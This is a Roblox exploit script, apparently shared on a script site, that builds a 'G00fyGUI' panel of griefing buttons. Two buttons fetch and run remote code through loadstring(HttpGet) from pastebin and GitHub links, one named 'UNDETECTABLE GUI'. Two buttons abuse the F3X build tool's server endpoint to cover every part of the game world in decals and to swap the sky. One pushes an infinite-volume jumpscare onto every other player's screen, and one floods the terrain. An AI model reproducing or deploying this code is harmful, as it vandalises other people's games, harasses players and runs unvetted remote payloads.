
KeylessUniversal

-- Gui to Lua
-- Version: 3.2
-- Instances:
local ScreenGui = Instance.new("ScreenGui")
local Frame = Instance.new("Frame")
local TextLabel = Instance.new("TextLabel")
local antileave = Instance.new("TextButton")
local skybox = Instance.new("TextButton")
local jumpscare = Instance.new("TextButton")
local skyboxf3x = Instance.new("TextButton")
local decalspamf3 = Instance.new("TextButton")
local flood = Instance.new("TextButton")
local notagui = Instance.new("TextButton")
--Properties:
ScreenGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
ScreenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
Frame.Parent = ScreenGui
Frame.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Frame.BorderColor3 = Color3.fromRGB(0, 0, 0)
Frame.BorderSizePixel = 5
Frame.Position = UDim2.new(0.16323024, 0, 0.20390071, 0)
Frame.Size = UDim2.new(0, 584, 0, 315)
TextLabel.Parent = Frame
TextLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextLabel.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextLabel.BorderSizePixel = 4
TextLabel.Size = UDim2.new(0, 584, 0, 50)
TextLabel.Font = Enum.Font.Michroma
TextLabel.Text = "G00fyGUI"
TextLabel.TextColor3 = Color3.fromRGB(0, 0, 0)
TextLabel.TextSize = 30.000
antileave.Name = "antileave"
antileave.Parent = Frame
antileave.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
antileave.BorderColor3 = Color3.fromRGB(0, 0, 0)
antileave.BorderSizePixel = 5
antileave.Position = UDim2.new(0, 0, 0.27619049, 0)
antileave.Size = UDim2.new(0, 200, 0, 50)
antileave.Font = Enum.Font.Michroma
antileave.Text = "Insert Anti-Leave {Client}"
antileave.TextColor3 = Color3.fromRGB(0, 0, 0)
antileave.TextSize = 14.000
antileave.MouseButton1Down:Connect(function()
loadstring(game:HttpGet("https://pastebin.com/raw/GfeXSwbm"))()
end)
skybox.Name = "skybox"
skybox.Parent = Frame
skybox.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
skybox.BorderColor3 = Color3.fromRGB(0, 0, 0)
skybox.BorderSizePixel = 5
skybox.Position = UDim2.new(0.657534242, 0, 0.27619049, 0)
skybox.Size = UDim2.new(0, 200, 0, 50)
skybox.Font = Enum.Font.Michroma
skybox.Text = "Skybox"
skybox.TextColor3 = Color3.fromRGB(0, 0, 0)
skybox.TextSize = 14.000
jumpscare.Name = "jumpscare"
jumpscare.Parent = Frame
jumpscare.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
jumpscare.BorderColor3 = Color3.fromRGB(0, 0, 0)
jumpscare.BorderSizePixel = 5
jumpscare.Position = UDim2.new(0.657534242, 0, 0.526984155, 0)
jumpscare.Size = UDim2.new(0, 200, 0, 50)
jumpscare.Font = Enum.Font.Michroma
jumpscare.Text = "jumpscare"
jumpscare.TextColor3 = Color3.fromRGB(0, 0, 0)
jumpscare.TextSize = 14.000
skyboxf3x.Name = "skyboxf3x"
skyboxf3x.Parent = Frame
skyboxf3x.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
skyboxf3x.BorderColor3 = Color3.fromRGB(0, 0, 0)
skyboxf3x.BorderSizePixel = 5
skyboxf3x.Position = UDim2.new(0, 0, 0.526984155, 0)
skyboxf3x.Size = UDim2.new(0, 200, 0, 50)
skyboxf3x.Font = Enum.Font.Michroma
skyboxf3x.Text = "Skybox {F3X}"
skyboxf3x.TextColor3 = Color3.fromRGB(0, 0, 0)
skyboxf3x.TextSize = 14.000
decalspamf3.Name = "decalspamf3"
decalspamf3.Parent = Frame
decalspamf3.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
decalspamf3.BorderColor3 = Color3.fromRGB(0, 0, 0)
decalspamf3.BorderSizePixel = 5
decalspamf3.Position = UDim2.new(0, 0, 0.780952394, 0)
decalspamf3.Size = UDim2.new(0, 200, 0, 50)
decalspamf3.Font = Enum.Font.Michroma
decalspamf3.Text = "decalspam {F3X}"
decalspamf3.TextColor3 = Color3.fromRGB(0, 0, 0)
decalspamf3.TextSize = 14.000
flood.Name = "flood"
flood.Parent = Frame
flood.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
flood.BorderColor3 = Color3.fromRGB(0, 0, 0)
flood.BorderSizePixel = 5
flood.Position = UDim2.new(0.657534242, 0, 0.780952394, 0)
flood.Size = UDim2.new(0, 200, 0, 50)
flood.Font = Enum.Font.Michroma
flood.Text = "flood"
flood.TextColor3 = Color3.fromRGB(0, 0, 0)
flood.TextSize = 14.000
notagui.Name = "notagui"
notagui.Parent = Frame
notagui.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
notagui.BorderColor3 = Color3.fromRGB(0, 0, 0)
notagui.BorderSizePixel = 5
notagui.Position = UDim2.new(0.371575356, 0, 0.171428576, 0)
notagui.Size = UDim2.new(0, 149, 0, 33)
notagui.Font = Enum.Font.Michroma
notagui.Text = "N0taGUI"
notagui.TextColor3 = Color3.fromRGB(0, 0, 0)
notagui.TextSize = 14.000
notagui.MouseButton1Down:Connect(function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/pedroluckygod/Yes/main/UNDETECTABLE%20GUI%20V7"))()
end)
-- Scripts:
local function OHSBQTO_fake_script() -- skybox.Script
local script = Instance.new('Script', skybox)
function click()
s = Instance.new("Sky")
s.Name = "Sky"
s.Parent = game.Lighting
s.SkyboxBk = "http://www.roblox.com/asset/?id=104144359228055"--the id is here
s.SkyboxDn = "http://www.roblox.com/asset/?id=104144359228055"--the id is here
s.SkyboxFt = "http://www.roblox.com/asset/?id=104144359228055"--the id is here
s.SkyboxLf = "http://www.roblox.com/asset/?id=104144359228055"--the id is here
s.SkyboxRt = "http://www.roblox.com/asset/?id=104144359228055"--the id is here
s.SkyboxUp = "http://www.roblox.com/asset/?id=104144359228055"--the id is here
game.Lighting.TimeOfDay = 12
end
script.Parent.MouseButton1Down:connect(click)
end
coroutine.wrap(OHSBQTO_fake_script)()
local function WTRZ_fake_script() -- jumpscare.Script
local script = Instance.new('Script', jumpscare)
script.Parent.MouseButton1Click:Connect(function()
for i,v in pairs(game.Players:GetPlayers()) do
if v.Name ~= me and not v.PlayerGui:FindFirstChild("Screamer") and v:FindFirstChild("PlayerGui") then
spawn(function()
local newgui = Instance.new("ScreenGui",v.PlayerGui)
newgui.Name = "Screamer"
local newimage = Instance.new("ImageLabel",newgui)
newimage.Image = "http://www.roblox.com/asset/?id=104144359228055"
newimage.Size = UDim2.new(1,1,1,1)
local s = Instance.new("Sound",newgui)
s.SoundId = "rbxassetid://6018028320"
s.Volume = math.huge
s.Looped = false
s:Play()
print("Screamed "..v.Name)
while wait(9) do
newimage.Parent:Destroy()
end
end)
end
end
end)
end
coroutine.wrap(WTRZ_fake_script)()
local function VYEAJ_fake_script() -- skyboxf3x.LocalScript
local script = Instance.new('LocalScript', skyboxf3x)
script.Parent.MouseButton1Down:Connect(function()
--rgrg
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function Sky(id)
e = char.HumanoidRootPart.CFrame.x
f = char.HumanoidRootPart.CFrame.y
g = char.HumanoidRootPart.CFrame.z
CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
--spawn(function()
SetName(v,"Sky")
AddMesh(v)
--end)
--spawn(function()
SetMesh(v,"8006679977")
SetTexture(v,id)
--end)
MeshResize(v,Vector3.new(50,50,50))
SetLocked(v,true)
end
end
end
Sky("104144359228055")
end)
end
coroutine.wrap(VYEAJ_fake_script)()
local function XKUWJ_fake_script() -- decalspamf3.LocalScript
local script = Instance.new('LocalScript', decalspamf3)
script.Parent.MouseButton1Down:Connect(function()
--rgrg
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function spam(id)
for i,v in game.workspace:GetDescendants() do
if v:IsA("BasePart") then
spawn(function()
SetLocked(v,false)
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,id,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,id,Enum.NormalId.Back)
SpawnDecal(v,Enum.NormalId.Right)
AddDecal(v,id,Enum.NormalId.Right)
SpawnDecal(v,Enum.NormalId.Left)
AddDecal(v,id,Enum.NormalId.Left)
SpawnDecal(v,Enum.NormalId.Bottom)
AddDecal(v,id,Enum.NormalId.Bottom)
SpawnDecal(v,Enum.NormalId.Top)
AddDecal(v,id,Enum.NormalId.Top)
end)
end
end
end
spam("104144359228055")
end)
end
coroutine.wrap(XKUWJ_fake_script)()
local function YRXSR_fake_script() -- Frame.DragScript
local script = Instance.new('LocalScript', Frame)
--Not made by me, check out this video: https://www.youtube.com/watch?v=z25nyNBG7Js&t=22s
--Put this inside of your Frame and configure the speed if you would like.
--Enjoy! Credits go to: https://www.youtube.com/watch?v=z25nyNBG7Js&t=22s
local UIS = game:GetService('UserInputService')
local frame = script.Parent
local dragToggle = nil
local dragSpeed = 0.25
local dragStart = nil
local startPos = nil
local function updateInput(input)
local delta = input.Position - dragStart
local position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X,
startPos.Y.Scale, startPos.Y.Offset + delta.Y)
game:GetService('TweenService'):Create(frame, TweenInfo.new(dragSpeed), {Position = position}):Play()
end
frame.InputBegan:Connect(function(input)
if (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then
dragToggle = true
dragStart = input.Position
startPos = frame.Position
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End then
dragToggle = false
end
end)
end
end)
UIS.InputChanged:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
if dragToggle then
updateInput(input)
end
end
end)
end
coroutine.wrap(YRXSR_fake_script)()
local function GZGUF_fake_script() -- flood.Script
local script = Instance.new('Script', flood)
function click()
Game.Workspace.Terrain:SetCells(Region3int16.new(Vector3int16.new(-100,-100,-100), Vector3int16.new(100,100,100)), 17, "Solid", "X")
end
script.Parent.MouseButton1Down:connect(click)
end
coroutine.wrap(GZGUF_fake_script)()No comments yet for this script.



